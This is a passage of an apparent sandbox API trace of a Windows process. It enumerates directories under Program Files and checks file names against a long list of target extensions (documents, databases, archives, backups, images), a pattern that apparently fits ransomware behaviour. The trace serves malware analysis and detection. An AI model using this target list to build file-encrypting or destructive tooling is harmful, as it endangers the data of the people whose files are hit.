lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.042] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4333f10 [0056.043] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\uninstall") returned 42 [0056.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x38ef584 | out: lpFindFileData=0x38ef584) returned 0x4280380 [0056.043] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.043] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.045] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.046] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.468] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.468] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.594] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.595] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.595] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.597] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.597] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.609] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.610] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.611] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.613] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.614] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.614] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.614] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.614] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.616] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.617] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.618] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.620] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.621] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.622] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.623] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0056.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0056.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.684] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.685] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.685] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.686] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.686] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.686] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.686] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0056.688] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.688] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0056.889] lstrlenW (lpString="avtransport.xml") returned 15 [0056.889] lstrlenW (lpString=".1cd") returned 4 [0056.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.889] lstrlenW (lpString=".3ds") returned 4 [0056.889] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0056.889] lstrlenW (lpString=".3fr") returned 4 [0056.889] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0056.890] lstrlenW (lpString=".3g2") returned 4 [0056.890] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0056.890] lstrlenW (lpString=".3gp") returned 4 [0056.890] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0056.890] lstrlenW (lpString=".7z") returned 3 [0056.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.890] lstrlenW (lpString=".accda") returned 6 [0056.890] lstrcmpiW (lpString1=".accda", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".accdb") returned 6 [0056.890] lstrcmpiW (lpString1=".accdb", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".accdc") returned 6 [0056.890] lstrcmpiW (lpString1=".accdc", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".accde") returned 6 [0056.890] lstrcmpiW (lpString1=".accde", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".accdt") returned 6 [0056.890] lstrcmpiW (lpString1=".accdt", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".accdw") returned 6 [0056.890] lstrcmpiW (lpString1=".accdw", lpString2="rt.xml") returned -1 [0056.890] lstrlenW (lpString=".adb") returned 4 [0056.890] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0056.890] lstrlenW (lpString=".adp") returned 4 [0056.890] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0056.890] lstrlenW (lpString=".ai") returned 3 [0056.890] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0056.890] lstrlenW (lpString=".ai3") returned 4 [0056.890] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".ai4") returned 4 [0056.891] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".ai5") returned 4 [0056.891] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".ai6") returned 4 [0056.891] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".ai7") returned 4 [0056.891] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".ai8") returned 4 [0056.891] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0056.891] lstrlenW (lpString=".anim") returned 5 [0056.891] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1 [0056.891] lstrlenW (lpString=".arw") returned 4 [0056.891] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0056.892] lstrlenW (lpString=".as") returned 3 [0056.892] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0056.892] lstrlenW (lpString=".asa") returned 4 [0056.892] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0056.892] lstrlenW (lpString=".asc") returned 4 [0056.892] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0056.892] lstrlenW (lpString=".ascx") returned 5 [0056.892] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1 [0056.893] lstrlenW (lpString=".asm") returned 4 [0056.893] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".asmx") returned 5 [0056.893] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1 [0056.893] lstrlenW (lpString=".asp") returned 4 [0056.893] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".aspx") returned 5 [0056.893] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1 [0056.893] lstrlenW (lpString=".asr") returned 4 [0056.893] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".asx") returned 4 [0056.893] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".avi") returned 4 [0056.893] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".avs") returned 4 [0056.893] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".backup") returned 7 [0056.893] lstrcmpiW (lpString1=".backup", lpString2="ort.xml") returned -1 [0056.893] lstrlenW (lpString=".bak") returned 4 [0056.893] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".bay") returned 4 [0056.893] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".bd") returned 3 [0056.893] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0056.893] lstrlenW (lpString=".bin") returned 4 [0056.893] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0056.893] lstrlenW (lpString=".bmp") returned 4 [0056.894] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".bz2") returned 4 [0056.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".c") returned 2 [0056.894] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0056.894] lstrlenW (lpString=".cdr") returned 4 [0056.894] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".cer") returned 4 [0056.894] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".cf") returned 3 [0056.894] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0056.894] lstrlenW (lpString=".cfc") returned 4 [0056.894] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".cfm") returned 4 [0056.894] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".cfml") returned 5 [0056.894] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1 [0056.894] lstrlenW (lpString=".cfu") returned 4 [0056.894] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".chm") returned 4 [0056.894] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".cin") returned 4 [0056.894] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0056.894] lstrlenW (lpString=".class") returned 6 [0056.894] lstrcmpiW (lpString1=".class", lpString2="rt.xml") returned -1 [0056.894] lstrlenW (lpString=".clx") returned 4 [0056.894] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".config") returned 7 [0056.895] lstrcmpiW (lpString1=".config", lpString2="ort.xml") returned -1 [0056.895] lstrlenW (lpString=".cpp") returned 4 [0056.895] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".cr2") returned 4 [0056.895] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".crt") returned 4 [0056.895] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".crw") returned 4 [0056.895] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".cs") returned 3 [0056.895] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0056.895] lstrlenW (lpString=".css") returned 4 [0056.895] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".csv") returned 4 [0056.895] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".cub") returned 4 [0056.895] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".dae") returned 4 [0056.895] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".dat") returned 4 [0056.895] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".db") returned 3 [0056.895] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0056.895] lstrlenW (lpString=".dbf") returned 4 [0056.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".dbx") returned 4 [0056.895] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0056.895] lstrlenW (lpString=".dc3") returned 4 [0056.896] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dcm") returned 4 [0056.896] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dcr") returned 4 [0056.896] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".der") returned 4 [0056.896] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dib") returned 4 [0056.896] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dic") returned 4 [0056.896] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dif") returned 4 [0056.896] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".divx") returned 5 [0056.896] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1 [0056.896] lstrlenW (lpString=".djvu") returned 5 [0056.896] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1 [0056.896] lstrlenW (lpString=".dng") returned 4 [0056.896] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".doc") returned 4 [0056.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".docm") returned 5 [0056.896] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1 [0056.896] lstrlenW (lpString=".docx") returned 5 [0056.896] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0056.896] lstrlenW (lpString=".dot") returned 4 [0056.896] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0056.896] lstrlenW (lpString=".dotm") returned 5 [0056.896] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1 [0056.896] lstrlenW (lpString=".dotx") returned 5 [0056.896] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1 [0056.897] lstrlenW (lpString=".dpx") returned 4 [0056.897] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dqy") returned 4 [0056.897] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dsn") returned 4 [0056.897] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dt") returned 3 [0056.897] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0056.897] lstrlenW (lpString=".dtd") returned 4 [0056.897] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dwg") returned 4 [0056.897] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dwt") returned 4 [0056.897] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".dx") returned 3 [0056.897] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0056.897] lstrlenW (lpString=".dxf") returned 4 [0056.897] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".edml") returned 5 [0056.897] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1 [0056.897] lstrlenW (lpString=".efd") returned 4 [0056.897] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".elf") returned 4 [0056.897] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".emf") returned 4 [0056.897] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".emz") returned 4 [0056.897] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".epf") returned 4 [0056.897] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0056.897] lstrlenW (lpString=".eps") returned 4 [0056.898] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".epsf") returned 5 [0056.898] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1 [0056.898] lstrlenW (lpString=".epsp") returned 5 [0056.898] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1 [0056.898] lstrlenW (lpString=".erf") returned 4 [0056.898] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".exr") returned 4 [0056.898] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".f4v") returned 4 [0056.898] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".fido") returned 5 [0056.898] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1 [0056.898] lstrlenW (lpString=".flm") returned 4 [0056.898] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".flv") returned 4 [0056.898] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".frm") returned 4 [0056.898] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".fxg") returned 4 [0056.898] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".geo") returned 4 [0056.898] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".gif") returned 4 [0056.898] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".grs") returned 4 [0056.898] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".gz") returned 3 [0056.898] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0056.898] lstrlenW (lpString=".h") returned 2 [0056.898] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0056.898] lstrlenW (lpString=".hdr") returned 4 [0056.898] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0056.898] lstrlenW (lpString=".hpp") returned 4 [0056.899] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0056.899] lstrlenW (lpString=".hta") returned 4 [0056.899] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0056.899] lstrlenW (lpString=".htc") returned 4 [0056.899] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0056.899] lstrlenW (lpString=".htm") returned 4 [0056.901] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".html") returned 5 